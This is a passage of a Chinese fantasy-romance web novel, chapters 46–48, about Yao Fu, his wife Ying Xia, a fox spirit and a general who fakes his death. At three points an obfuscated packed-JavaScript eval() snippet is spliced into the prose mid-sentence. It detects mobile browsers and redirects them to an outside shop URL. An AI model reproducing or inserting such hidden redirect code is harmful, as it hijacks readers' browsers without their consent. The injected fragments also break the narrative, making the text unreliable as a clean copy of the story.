抓错了草药打手板,绷带缠紧了打手板,针灸扎错了穴位也要打手板。不知道韩玉筝学医时是不是这么过来的,反正姚复有些受不了,可一回想起应瑕的脸,总能想起“严师棒下出高徒”的话来,无奈忍气吞声继续挨打。 说不准应瑕是去长安给他准备什么惊喜呢。 这么一想,姚复便也有了继续学的动力。三个月来,竟硬生生磋磨成了对什么都略知一二的二半吊子——虽说水平只能算人家的副手。 盼星星盼月亮,可算是盼来了应瑕送来的惊喜。 陈重熙的医馆刚重新开业,自然很忙,几乎要从寅时开始忙活,到了东曦既驾时稍稍清闲了一些,陈重熙才随口对姚复提到:“我见长安生了异象,等解将军解围出来,大约就能直接西进入秦州了。” “什么异象?”姚复好奇地抬起头来,手上则一根根把韩玉筝扎的银针拔下来。 “看不清楚,像一条龙?”陈重熙思考了一下,“总之您还是把小解将军调回来罢。解将军如果不能脱困,让她顶着也行。” 姚复笑而不语,接着医馆半闭的门被人一脚踹开了——陈重熙抬起头来正要骂人,见着来人是应瑜,马上收起了怒意,只一笑问道:“是应公子啊,夫人回来了否?” “没,最早明天。”应瑜似乎没认出姚复来,只能说韩玉筝的手艺真是出神入化,姚复可以说是改头换面。 应瑜忍不住多看了姚复两眼,觉着熟悉却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504740|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又面生,顿了顿才把狐狸放在桌上:“给它上药包扎一下吧,别死了,夫人拼死也要救的。” 姚复瞪圆了眼睛,不可思议地趴在桌上看半死不活的涂山氏,阴阳怪气道:“怎么,双福丢下我三个月就为了救只半死不活的小畜生?!救,救活了我好看看是扒了皮做大衣还是炖成汤补身子!” “天梁,你俩把刀磨利点,我看看它能活多久!” 韩玉筝无奈地看了陈重熙一眼,两人连忙翻了草药和绷带来,又手忙脚乱地递给姚复一把银针。 陈重熙给人治病是老手,给动物治病还真没有过,难怪应瑕走前说交代的事两个人做不好。何况这狐狸伤势严重,虽说陈重熙和韩玉筝两个人能处理好,但估计也只是整理遗容罢了。 也不知道给人吃的药狐狸能不能吃呢。 三个人忙活了两个时辰,耽误了不少病人,才终于把狐狸包好了,陈重熙郑重把狐狸塞给应瑜,应瑜嫌弃地抱着那狐狸,又塞回姚复手里:“一身狐狸味,臭死了。” 这一点倒是和应瑕像亲兄妹。姚复哑然失笑,把手指缓缓探进狐狸的毛发,试图换个舒适的姿势。 冬日里动物毛发本就长的长,体温也高,但姚复触到那狐狸的一瞬间还是吓了一跳:“这,这没事吗?能烫鸡蛋了罢?” 应瑜闻言把手伸进毛里摸了两下,摇摇头:“不知道,也没那么烫,要不放外面吹吹风?” “熬点退烧的汤药好了。”陈重熙不以为意,攥着一个来看诊的小男孩的手腕,对他母亲说:“别对孩子太严苛,心气郁结。” 韩玉筝伸手拿了些药材,丢在自己熬药的锅里,起火熬了起来,应瑜拿衣服兜着狐狸,准备扔到外面凉快凉快,被姚复拦了一下才作罢。 “狐狸肉是什么味儿啊?”姚复颇为好奇地凑近涂山氏,脸颊甚至能感受到它身上的热气,散发出的除了狐狸自带的辛辣的狐臭味,还带着一丝梅花的香气,“这么小一只,也不够炖一锅汤吧。” “狐狸肉……”应瑜听到这个话题,若有所思,“还行吧,口感不错。就是味道不好闻。而且这只狐狸老了,肉肯定柴。” 姚复略微有些惊讶地抬起头来:“哟,您吃过啊?” “宫里每年会组织秋猎,我和双福每年都会参加,时常偷偷猎了狐狸炖肉吃。” 说罢又嫌弃地看了桌上的狐狸一眼:“确实炖汤都不够。” 涂山氏虽说是千年的狐妖了,化回原形还是幼兽大小,炖来怕是也只够一人餐饮。 应瑕是在半夜回到汉昌的,她回医馆时可谓神不知鬼不觉,梁上蹲守着打盹的太白都没意识到家里进了人——自从有人交接,太白和天梁就成了轮流值夜班。 应瑕先是在柜台上检查了一遍卧着睡觉的涂山氏,方才摸去了那西屋——先前是韩玉笙在住,现下换成了姚复。 桌上大喇喇摆着几封兵书,他似乎是笃定了太白能把所有敢闯进来的人绳之以法,连拿别的纸张盖也懒得盖。 屋里没有点灯,只有均匀的呼吸声昭示此处还有个活人。应瑕的夜视能力一向不错,左右半夜睡不着,就翻着兵书看完了姚复下一步计划,旋即冷笑一声,心里有了主意,猫在榻下的空隙里等天亮,好给姚复一点小小的教训。 46. 第46章 总有事会超出意料,比如说姚复的反应。 姚复起床时看见她只是稍微震惊了一下,并未展露出一丝畏惧或是惊骇,反而是穿着里衣就下了床,把她拉了出来,顺便斥责了两句:“你在床底做什么?多脏啊?” 应瑕不甚在意地拍拍衣服上的尘土,发现有一块不知是什么的污渍怎么也弄不掉,才有些后悔。但也只是淡定撕下了那一块衣服,随后问:“我送来那狐狸恢复的如何了?” 姚复听她一回来就问狐狸,不禁有些恼火:“怎么样?不怎么样。你救回来只狐狸是什么意思?是打算养着还是扒皮做裘衣拆肉炖汤喝?” 应瑕微微掀起眼皮子,说道:“钉到地上做风水阵。” 接着她忽然走到案前,拿起那些函件,在手里晃了晃,质问道:“这些东西几个意思?打算瞒着我发兵北上不是?” 姚复感到心跳慢了半拍——他确实打算偷偷北上,甚至让天梁给解臻偷偷送去了书信,要他赶紧脱身回兵再西进。但他绝对不是有意瞒着应瑕的。 “你还问我?这几个月你音讯全无,要递信件都不知道往哪去!”姚复忽然有了底气,佯装气氛地质问应瑕,说出的话却百转千回,好像独守空房无奈控诉负心汉的闺怨少妇。 事实证明应瑕很吃这一套。姚复两句话下来顿时没了火气,但气势绝对没有矮上一截——分明她才是妻子吧!女子自然不能矮了气势,否则被人欺负了又如何是好。 “总之我要把那狐狸怎么样你少管,别弄死了就行。”应瑕懒得再和姚复吵架,甩手就要离开,却猝不及防被拉住了衣袖,只好停下脚步。 “先别走!”姚复扯着她长长的袖子,叫住了她,“我还有事要问你!” 应瑕转过头来,使劲拉出自己的衣袖,回过头来,叹了口气,抬眼看向姚复:“什么。” 姚复松开应瑕的衣袖——医者也算是文人,为了装的更像一点,他不得不又把指甲留长了,长指甲抓着一块布料真是难受,改日定然还是要剪掉它的。姚复定定盯着应瑕那双宛若死水深潭的眸子看了一会儿,才问道:“你为什么和父兄关系不和?” 这三个月他想了很多。成婚几年来应摇光明知女儿下嫁,也不曾为她送来什么物资补贴家用,也很少送来信件慰问,明知应琼在赣州,仍是在阖闾城被屈郢抓住。应瑕的反应也很奇怪,她对应摇光好像没什么感情,对应琼也是淡漠疏离。这一家人都是奇怪到顶点,却又有接连不断的人说应瑕冷血,说她无情,姚复很想知道自己在应瑕心里到底是什么地位。 千言万语在口中兜兜转转又咽下,最终变成了旁敲侧击。 这句话没能在她眼中掀起波澜,她淡定地回望,二人保持着沉默,姚复不知过了多久,终于听见应瑕说:“你喜欢我吗?” “我……”姚复很少思考这个问题,虽然他母亲在外界的传言纷纷扰扰,可到底未曾真正理解男女之情,对应瑕的感情也没有被剖出来问过—— 应当与别人不同,不同就是喜欢吗? “……喜欢。”姚复咽下一口口水,好像第一次直观地理解自己的感情。 他与应瑕算是假夫妻,最多也只能算作盟友——可又有不同。一日不见思之心切,也许就是喜欢。 成婚五年,他第一次仔细端详应瑕的脸,她皮肤白皙如玉,脸上没有一丝瑕疵,五官从哪个角度端详似乎都是完美的。只是山根和鼻尖上都有一点几乎微不可查的瘢痕,像是两颗褪掉的痣。 山根处为水险,鼻尖为刀厄。应瑕半生也算顺遂,偏偏生了两颗凶痣,或许是后来点掉的。 应瑕点点头,转身站到门口:“晚上再说。你先出去看诊罢,来人了。” 姚复有些郁闷地出了门,应瑜晚上住了客栈,一早便又来了医馆逗狐狸。分明昨日还在嫌弃人家臭。 今日没有上妆,姚复只好背着身子,佯装去看药柜。 来的人不算多,一般人染个风寒一类能自己好的小病也不会再来了,汉昌城虽说车如流水马如龙,有疑难杂症的人却也不是很多,陈重熙自己差不多也能解决。姚复的事主要就变成了按着韩玉筝写的新方子抓药熬汤——这药是针对姚老头先前那病专门研发的,目前没有很多病例研究,几人只能两眼戳瞎一把黑地自己摸索药方子。 “你们开这方子到底有什么用啊?我长这么大没见过第二个和我爹一个症状的。”姚复捏着鼻子,忽略掉散发着刺鼻气味的药汤,问陈重熙。 韩玉筝闻到味道皱了皱眉,伸手把那锅药倒掉了。 陈重熙抓着笔写了张方子递给来看诊的老人,温声细语地嘱托他去城南的药馆抓他这里没有的药,又拿了笔在账上记了什么,试图回头让司空谷给报销,方才回头对姚复说:“这病死人啊。能救一个是一个。” 话音还没落地,外面便传来了驿夫的询问声:“陈公子累冶在吗?您的信!” 陈重熙放下笔,把账本递给韩玉筝,拿了信回来,道了谢,又顺手带上门闭馆,确认信纸完好无损才拆开。 姚复凑过去看了两眼,落款是一方印玺,很是别致,似乎还带着阖闾城的烟雨气息,而起笔是“吾儿展信如晤”,显然是一封家书,写的大约也是家常话。陈重熙翻了只镊子出来,轻轻拨开了表层的信纸,露出了里层的军书。 为了瞒天过海,属下的谋臣将相真是无所不用其极。 军书上写的东西倒是让人吃惊——解臻带着的军队负隅顽抗一年之后,终于宣告了全军覆没,连他本人也战死沙场了。 魏王则和齐国翻了脸,转而与屈郢结盟了。 离盟约结束还有好长一段时间呢。 姚复脸上没什么别样的感情,心里也只是有些哀戚——从和解臻初识也才不过五年呢。 胜败乃兵家常事,生死也不过自然规律。换做两年前、三年前,姚复或许还能为他哭一哭,可现在无论如何也哭不出来了。战争会磨平人的棱角,耗干人的眼泪,枯竭人的感情,姚复能面不改色地赶走桥虹,也命令司空谷处死十几个失去了价值的细作。 解臻现在死了也许是好事,姚复不能保证事成之后会不会为了权力杀掉昔日共患难的兄弟。也许连新涂都难逃一死,何况没有姻亲作为纽带的解臻。 “现在可以准备挥师西进的事了。明天让司空谷和解斛珠抽时间移兵武陵。”姚复撤回脑袋,重新起火熬了药汤,“回头给解将军立个衣冠冢。” 陈重熙忽然觉得有点不适,放下书信给自己把了把脉,并未发现什么异常。这种发自内心的恶心是从姚复看了书信开始的——有什么东西似乎冥冥之中走上了老路。 天梁和太白这些日子不知道做什么去了,似乎是参加什么盟会。连星死士在江湖上也有些地位,想必得给天梁和太白取个花名掩人耳目了。 应瑕去街上买了些什么活的东西回来,一只铁笼子,红布盖着,谁也看不真切,晚上回来时便把东西塞进了床底,姚复直觉不是什么好东西,也不敢俯首去看。 她把狐狸放在床上,点燃了一支蜡烛,她的脸在烛光下忽明忽暗,清冽的声音再度响起:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511804|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你喜欢我吗?” “喜欢。你今早不是问过了?”姚复有些莫名其妙,但还是把胳膊搭在桌上,身子微微前倾着。 应瑕勾唇笑了笑。 “我是应瑕,也不是应瑕。应摇光是我父亲,也不是我父亲。”应瑕看着摇曳的烛火,似乎陷入了回忆。 真正的她早就在十五岁那年死了。 阖闾城闻名的不止是烟雨,还有丝帛、刺绣和茶叶。作为皇商,应摇光也是一个合格的政客。他知道皇帝喜欢什么、贵妃喜欢什么,便带着全家老小去阖闾城采买那些名贵的织品与茶叶,尽管路上的土匪尚未解决。 回程时果真遇了土匪,应摇光的妻子、儿子和长女无一例外,全部命丧黄泉,小女儿也失去了踪迹。 他上报了货物丢失的情况,却带着尸体回了平阳,请了巫医跳大神来招魂。 “两地相隔千里,怎么可能把魂叫回来。”应瑕嘲讽地一笑,“彼时我——真正的我正在打仗呢,便莫名同我的兄弟一起到了这里。巧的是,哥哥和我的名姓与他们是一样的,连相貌也相差无几。 我们寻了机会,偷偷回去了,两个人吃了所有山匪——那些穷凶极恶之人的心脏,真是鲜美啊。” “然后应摇光带着我们见了涂山氏。也许应夫人真的和她有些交集,我也和她有交集。她一眼看见了好友的遗孤的身体里换了人,第一句话便是说:你分明千年前就死了。从那以后,应摇光就知道了他的一双儿女不是性情大变,是从内里换了人。” 她忽然一笑,鼻息引得灯火晃了一晃,接着又说: “天命垂怜,给我重活一次的机会。我原本的人生混沌、迷茫。我的时代信奉天命指引,可是在这里,我失去了与‘天’的联系,从前是一片荒芜,未来也是旷野。我不知道活着的意义,直到遇见你——我本想直接吃掉所谓夫婿,但是我看见你时犹豫了。从那时起,我就认定了你是天命之子。” 姚复听的半懂不懂,但他明白最后一句话的含义,心中不由带上一抹欣喜——他与别人是不同的,至少在应瑕心中有一席之地。 他正待开口说些什么,应瑕却抬脸看向姚复,脸上带着探究的笑:“你现在看见的,是一个来自千年前的孤魂野鬼,还是吃人血肉的恶鬼,不怕吗?” 姚复摇摇头。她说的话太过不可思议,应瑕也不像是会撒谎的人,只是吃人也太过匪夷所思,不排除瞎扯的可能性。 应瑕有些怀疑地看了他一眼,随后提起袖子,挡住半张脸,一双眼睛妖娆又嘲讽地看了他一眼,袖子挡住整张脸又放下,再露出的脸却是青面獠牙宛如夜叉。 “那现在呢?”好像漠北沙石磨砺的尖锐声音响起,姚复确实被吓了一跳,被这奇怪的声音吓了一跳。 “你能把声音变回来吗?”姚复按了按一边耳朵,随后往前凑了一点,仔细端详应瑕这张新脸,“你什么时候学的变戏法啊?照你说的也应该是个人啊?你这怎么变的啊?” 看着不像是面具,姚复伸手摸了摸应瑕的脸颊,触感柔软细腻,与这张坑坑洼洼的夜叉脸完全不符。 果不其然,下一秒应瑕就跟触电一样往后猛然倒去,脸蛋也变回了原形,她伸手挡在面前,有些羞赧地回应:“你看就看,碰什么!” “你还能变成什么样?再给我看看呗……” “睡你的吧!” 应瑕负气起身,抱着狐狸上了床,姚复只好撇撇嘴,拉了几件衣服铺在地上,打了个简要的地铺。 涂山氏半睁着一只眼,看完了这出闹剧。 47. 第47章 姚复真的很憋屈。 本来说要扒皮做裘剔肉炖汤的狐狸突然变成了人,躺在他的床上抱着他的妻子。这谁不憋屈。 应瑕起的早,半梦半醒间感到怀里多了个人时就发觉了不对劲,吓的连忙坐直了身子,却见长着狐狸耳朵的涂山氏裹在被子里,躺在床上,只露出一双含情脉脉的狐狸眼,哀哀戚戚地看着她。 应瑕发誓这是她漫长又短暂的人生中受到的最大惊吓,连鞋都没穿就跌下了床,一把抽起姚复压着的一件衣服,捂着他的脸就给拖了出去。姚复也是瞬间就被吓醒了,还来不及问,便被重重拍上的门板碰了一鼻子灰。 屋里传来几声吵闹声,姚复抱着衣服凑近门板听了一会儿,没听出什么来。 过了大约半柱香时间,应瑕拉开了门。 姚复探头进去,床上坐着一个女人,穿着应瑕的一套白衣服,长一双白色狐狸耳朵,狐狸眼妖娆又妩媚,与亓官卿的活泼灵动、陈重熙的精明狡诈都不同,她的眼里尽是凄凉与死意,看起来更是惹人怜爱,活脱脱一个红颜祸水。 “真狐狸精啊?早知道就趁早扒了皮了……”姚复小声嘀咕了一句,涂山氏的狐狸耳朵动了动,她的脸色倒没什么变化,只是眼中浮现出一丝隐秘的欢喜,应瑕也听见了这一句,狠狠剜了他一眼。 应瑕随便踢开地上那只敞开了的铁笼子,其上似乎还沾了些斑斑点点的血迹,那块红布随意地躺在地上,上面也有成片的血迹,还带着一些灰褐色的动物毛发。姚复有点犯恶心,却又不好在两个女人面前说什么,只能皱着眉头表示不满。 涂山氏勉强勾唇一笑:“齐王不必担忧我给你招来麻烦。小珠儿救下我本来就是逆天而行,我也不会傻到出门自找不痛快。” “她谁啊?”姚复压低声音问了应瑕一句。 “亓官卿的生母,涂山妏。”应瑕方才想起来还未曾将涂山妏介绍给姚复,“亓官卿被陛下扔进太行山了。不过应当已经逃出去了。” 亓官卿救了姚老头一次,也算还了先前姚家供养他一年的恩情,现今也是两清了。本来这事明明与姚复毫无关系,那一年到底培养了些许感情,他忍不住压着声音问应瑕:“什么情况?之前不是好好的,怎么皇帝突然要对他们母子赶尽杀绝?” 应瑕摇摇头,涂山氏却忽然塌下耳朵,抬起头来,怒言道:“他就是个疯子!当年皇后拿自己的命与我做交易,要我助她儿子登上皇位。我没要她的命,还帮亓官德璞登上皇位,现在倒好,先帝干的事反全推到我们母子头上来了!” 姚复确实曾经听过一两句宫中秘辛,据说在先皇后宫中搜出来十几只巫蛊娃娃,写的全是先帝的八字,于是她就连带着九族被杖毙了,连带着当时的三皇子现在的皇帝都被刺激疯了。大家都在传是涂山氏为争宠陷害,可但凡长脑子的都知道这根本就是先帝除掉皇后母族势力的手段。 第一次如此直观地听到某一则秘事的真相,真是酣畅淋漓又让人瞠目结舌啊。 “那个,贵妃能细说吗?”姚复终究按捺不住好奇的心思,连陈重熙刚修完还没发售的话本都没这短短几句话吸引人。 涂山氏有些生气地抱胸别过头去。 心中那一抹随着先帝与爱子而去的悲伤烟消云散,现在她心里完完全全被恼怒填斥着。 “别理她。”应瑕伸手拽了拽姚复的衣袖,“隔几天亓官就会来接……” “我不走!!”不说还好,这一说涂山妏又炸了,“我一定要亲口咬死他!我的尾巴!我的儿子!” 应瑕连忙拉着姚复退了出来,顺便狠狠关上了门,压着声音说:“找点蒙汗药,直接把她送金陵去,咱们等援军回来马上北上。” 紧接着什么东西砸在门板上的声音传过来,吓的应瑕顿了一顿。 “她一向这样吗?”姚复看着门板,有些不解地问,“皇帝怎么受得了她的。” “她尾巴断了八条半,心智自然也退化成了幼儿——你少管这些了,总之赶紧送走。”应瑕稍微站远了一些,把声音压的更低。耳朵灵敏的狐狸真的都不是什么好东西。 姚复走到药柜前面,随便找了些药材,什么决明子天仙子望江南,都是些毒性大的药材,一口下去包涂山妏晕的彻底。 应瑜恰恰又从外面进了来,进门就张望着找狐狸,应瑕反手在在门缝里塞了些布,确保涂山妏在里面出不来,便上前拉着应瑜到了柜台前:“你别天天跟着狐狸厮混了,你就是讨好涂山妏到地老天荒,涂山晴也不会多看你一眼——人家只喜欢狐狸。” 姚复偷偷瞄了应瑜一眼,推测涂山晴是涂山妏的什么姐妹,同时也想看看应瑜的反应——应瑜脸色没什么变化,只是又冷了两个度。武陵冬日并不算冷,应瑜身边却好像能结出冰花子一样。 应瑜开口带来了消息:“皇帝今天上朝拿了八条狐狸尾巴上来,在群臣面前疯了一样——” 他顿了顿,终于没说下去,直接说了结果:“——把它们烧了。” 应瑕和姚复对视一眼,缄默不语。 解斛珠到了傍晚的时候终于到了武陵,她披着一身冷风,只带了一名小将进了门。解斛珠确实长大了,解臻的噩耗似乎没有影响她分毫,反倒是还能和应瑕调笑两句。她带来那个小将则是分外面熟。 姚复盯着她看了许久,方才看出来——正是银杏,皮肤晒成麦色、面上婴肥褪去,只剩下一双圆眼还灵动的银杏。 先前在长沙忘了安排银杏的去处,竟是去参了军。 解斛珠注意到姚复的目光,拦过银杏的肩膀,笑着对姚复说:“大王,我回长沙时见她是个好苗子,夫人和小姐也没再安排去处,便招到手下做了副将。还望夫人见谅!” 应瑕微微颔首,只是下颌线绷得紧紧的。姚复知道她对真正的应瑕似乎有些别的什么感情,对她留下的银杏、嫩杨也分出了两分感情,如今见银杏参了军,也不知道是什么感觉。 “那‘银杏’这个名字便不合适了。你的身契也早就遗失了,不如就此回归本名。”应瑕深深看了银杏一眼,银杏从很小就跟着应瑕了,自然早就察觉了小姐有什么不对劲,也明白面前这位不知道自己的本名。 于是她笑笑:“我不记得本名了,‘银杏’这个名字是小姐取的,我也不想抛却。” “总归要有个正经名姓,”应瑕蹙眉想了一会儿,“就姓秋罢,‘尽日苔阶闲不扫,满园银杏落秋风’。从此你名姓题军书青史,都该是秋将军。” 银杏微微一愣,似乎有眼泪在眼眶中打转,随后又硬生生忍了回去,重重点头:“嗯!多谢夫人赐名!” 姚复撑着脑袋,看着这几人说话,忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14524095|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起两句诗来:“未必鸡头如鸭脚,不妨银杏伴金桃。” 当年给婢女想名字的应小姐定然没学过这诗,往后若应瑕有了新的婢女,该叫金桃才好。 姚复把二两决明子细细研成粉末,掺进韩玉筝煮好的粥里,打算待会儿让应瑕直接端给涂山妏吃。这二两决明子绝对没有他的私心在里面,一点也没有! 涂山妏没喝,她把碗摔了,随后被应瑕直接打晕绑上了马车。 行到子时的时候,汉昌已经安然入睡了,解斛珠安排好了马车,一行人连夜北上到了启封与司空谷碰了面。 解斛珠手下有三万将士,她极慷慨地拨给姚复一半,加上解臻留在雒邑的残部,林林总总五万人,勉强能与关中精兵相对,加上司空谷在后面出计策,拿下秦州绰绰有余。 姚复并不急着入主秦州。 他得先处理掉解臻的事。 魏王忽然又放了消息,说是有几个壮丁挖出了解将军的尸体,为了平复对先齐王的愧疚之情,他会趁着河水坚冰未消把解臻的尸体送回启封—— 姚复也趁着冰没消渡了河,带着人驻扎在了朝歌。 解臻的尸体送回来这会儿都要冻成冰棍子了,本来就死在北地,现在一路南下,又是数九隆冬,真停在魏国还不够吓的魏王夜不能寐。可要送回来,解斛珠的军队还得用大礼迎接,还不够消耗兵力的。况且解臻死了,军心本来就不振,再把尸体送回来,根本是存心给姚复找不痛快。 他倒要把尸体拦下来,看看这魏王在搞什么名堂,别是别有用心,还在尸体上藏了什么东西。 话说回来,为了掩人耳目,他也给自己起了个绰号,叫做“白附子”,在将士们面前自称是齐王新招来的部将,连解斛珠都要跟着喊白将军,又给天梁和太白起了花名,叫做“决明子”、“九里香”,对外宣称是侍从,连应瑕都要拼力遏制住翻白眼的心情,装成恨不能原地立牌坊的好夫人。 于是两人争吵的话题从军政分歧变成了应瑕要不要继续跟着演戏。 “将军,解将军的棺椁到了。”斥候进来通报时姚复正在和应瑕抱着碗争吵。 见人进来,两人齐齐转过去怒目而视,倏而姚复放下碗筷,出门去看棺材。棺材由四个魏国士兵抬着过来的,送来后估计还要走。 姚复踩着地上已经紧实的雪,拂去了棺材盖上的一层雪,还未曾钉钉子,他伸手刚要去推棺材盖,忽然发觉它好像动了一下—— 他皱起眉头,不可置信地眨眨眼。可那并不是错觉。 因为下一秒棺材盖就被从里面推了开,飞出几尺远,解臻则生龙活虎地从里面坐了起来,大喊一声:“哥哥回来了!” 接着解臻看见半跪在棺材前的姚复,两个人都愣住了。闻讯来悼念(围观)解将军尸体的士兵都张大了嘴,满脸震惊,旋即“哄”一下炸开,奔走相告着解臻死而复生的好消息。抬棺材过来的四个兵士也傻了眼,紧接着便开始吓的尖叫起来:“诈尸了!诈尸了啊!” 姚复无助地张了张嘴,不知道说什么才好,柳三变那诗怎么说来着? 执手相看泪眼,竟无语凝噎。 没有泪眼,但真的无语。 “那什么,其实我是阖闾城人,家乡话是吴语。”姚复半天终于对着棺材里的解臻说出一句完整的话。 48. 第48章 解臻尴尬地笑了笑,随后站起来,从棺材里出来,试图为自己找补:“哈哈哈,抱歉啊,大……公子,我以为是我妹妹解斛珠呢。” 姚复难言地上下扫了他一眼,完全没想到解臻在外人面前一副清冷卓绝干脆利落的模样,竟会和解斛珠开这种玩笑,肯定会被嫌弃吧?他换了个同情的眼神,站起来说道:“我姓白,白附子。是大王新调来的将军,准备奉命西进攻打秦州。解将军……与令妹关系真是不错。” “嗨,我妹妹正值婚龄,白将军还缺妾室吗?”解臻故意开了个玩笑,脸上也带着戏谑的笑,“她虽说不会琴棋书画,也没有文字功夫,却是领兵打仗的一把好手——” 姚复捂住他的嘴:“闭嘴吧——” 后面马上有将士起哄:“解将军,我也正值婚龄啊!我能抬小将军做正妻!” “叫我嫁给小将军也成啊!” “将军,看看我罢!想当年我可是村头一枝花,不比白将军差!” 姚复连忙松开解臻的嘴,转过身来,举着剑挥退兵士们:“去去去,都去训练去!一个个都想什么呢!” 接着他指向那四个抬棺的魏国士兵:“这四个人,拖下去斩了。” 大多数将士笑闹着离开了,只留几个人拖着魏国士兵离开。他们回头怕是又要开始传姚复的谣言——不过白附子心悦解斛珠跟姚复有什么关系。至于那四个抬棺的士兵,没有在放下棺椁的时候立刻告辞,见到解臻诈尸也没离开,明显背了什么任务,让他们活着离开都算姚复跟屈郢明争暗斗这几年白搭。 “怎么回事,说!”姚复瞪向解臻。 解臻收敛了在兵士们面前恣意张狂的笑,又恢复了那副温润公子的样子,微笑着回答:“大王见谅,我们在大同待了一年多,任是再多计策也无用,兵力早就不足了。接到您的信件之后,我便遣散了剩下的士兵,寻了些火药,炸了小五台山,雪崩下来埋了三军,幸亏我提前招呼好了人,在雪里埋了半日便被挖了出来。后来听说他们都在说我死了,索性找了棺材,将计就计罢了。” 这种事除了解臻大约也没人能干出来了,不,可能还有应瑕。姚复心里默默想,却全然忘了自己现在也算是个死人。 “回头让长沙那边给你调兵,你和解斛珠在关外守着,我要入关去。你先找营帐住下罢。” 不知不觉竟又飘起了雪花,姚复一脚深一脚浅地踩在有脚踝深的雪地上,转过身子欲回营帐。 “大王!”解臻忽然叫住他,从怀里掏出一个小布包,“燕地那边的鞑子会把牛奶制成糖,不妨带回去给夫人尝尝?” 姚复转过身子,就着解臻的手拆开那小布包,里头躺着五六颗圆形糖果,生的跟樟脑一样,浑圆可爱,隐隐散发着奶香味。 “有心了啊。”姚复从中拿了三颗,“剩下的给你妹妹吃吧。姑娘家家的,多吃点新鲜玩意没坏处。” 接着他就转过身子,摆摆手回了主帐。 冬日里大雪封山,入关不是好时候,还是得等到回春冰雪全消的时候,又要提防着魏王。 屈郢那边有新涂顶着,解斛珠自己却不知道能不能扛得住魏王的攻击呢。 离开春也就剩了十几日,正好日头不算强烈,恰好能带着应瑕出来玩一圈。 姚复生平也没什么爱好,不过是游山玩水,或是看些才子佳人的话本——他只知道陈重熙偷摸着开了家专卖这些书籍的书局,却怎么也问不出来在哪。这也就算罢了,可他对出去玩总有种莫名的执拗。 也许是从前姚老头压榨地太紧了。 自从和应瑕袒明心迹之后,姚复觉得心里格外轻松,对和应瑕一起出去玩的执念竟越发加深了。 解臻回来当天夜里,他就神神秘秘摸进了应瑕的营帐,好不容易求应瑕一件事,自然也摆满了求人的态度,满脸带着和煦的笑不说,还强从某个兵士手里换走了一支白玉簪子——那簪子极称应瑕,白玉为骨,尾部又用金线绕上了几只遒劲的血色宝石镂成的苍梅——用一块顶好的羊脂玉。 这支簪子是他本来就看上意图送给应瑕的,今日正好作为求人的礼物。外加解臻的糖,这东西在中原是稀罕物,应瑕又重口腹之欲,定然会喜欢。 “说吧,你又想干什么?”应瑕把笔放回笔搁上,拨开桌上堆放的厚厚一摞兵法,接过那支簪子,用指腹摩挲着。确实是顶好的东西,即便是拿一颗品质上乘的南珠去换也值当。猝不及防口中又被塞了一颗糖,奶香味弥漫开来,应瑕也没抗拒,在嘴里嚼嚼就咽了下去。 听说北地有一种奶制的糖,相比就是姚复塞过来那玩意儿。挺好吃的。 那高高一摞兵书实在碍事,姚复干脆伸手又拂了一下,半数书籍稀里哗啦地落在地上,始作俑者挨了妻子一记眼刀还恍若无事地趴回桌上,笑着说:“什么你的我的,你我都是夫妻了,五年了,也算老夫老妻了,还不能无缘无故送你东西了?” 应瑕从鼻腔里发出一声冷哼。姚复忽然察觉了应瑕最可爱的地方——她看人总是带着凉薄的讥诮与不屑。她高傲的模样才是最令人欲罢不能、如痴如醉的,如果能让天下人都看到她的美貌,不知多少人上赶着求她一个鄙夷的眼神呢。 姚复笑了笑:“解臻回营了,我也不能马上入关,这十几天时间,你看——” “别想。”应瑕微微掀了一下眼皮,伸手从地上摸起一本方才被姚复丢在地上,这一会儿正倒扣在她脚边的书,也是她方才批注那一本。她翻回批注到的地方,没急着拿笔,垂眸看着文字,说道:“朝歌没什么好看的,这里什么也没有了。” 繁华的殷商王宫、镌刻着文字的兽骨、烈焰中起舞的妲己,早就随着历史的尘埃消散了。现在的朝歌,比不上长安、雒邑,也比不过阖闾城、山阴。 “你不想去雒邑看看吗?”姚复根本没想过在朝歌游玩,他的目的一开始就是雒邑,“‘玉楼金阙慵归去,且插梅花醉洛阳’,多好啊。” 应瑕重重叹口气,把兵书拍在桌上:“行吧。不过行军之前必须回来,到时候日头就大了,照的我不好受。” 姚复见应瑕同意,欣喜地眉眼更弯了一个弧度,他笑着站起身来,说道:“那我们明天就走!等有机会了我还要去江南!那什么‘车如流水马如龙,花月正春风’,不是吗。” “好好好,睡觉去罢。”应瑕敷衍地说了两句,把人打发走,便又拿下了方才那支墨笔,继续在兵书上批注。 千年前哪有这么多兵书典籍,好不容易寻了空子好好读一读,自然不希望有闲人打搅。 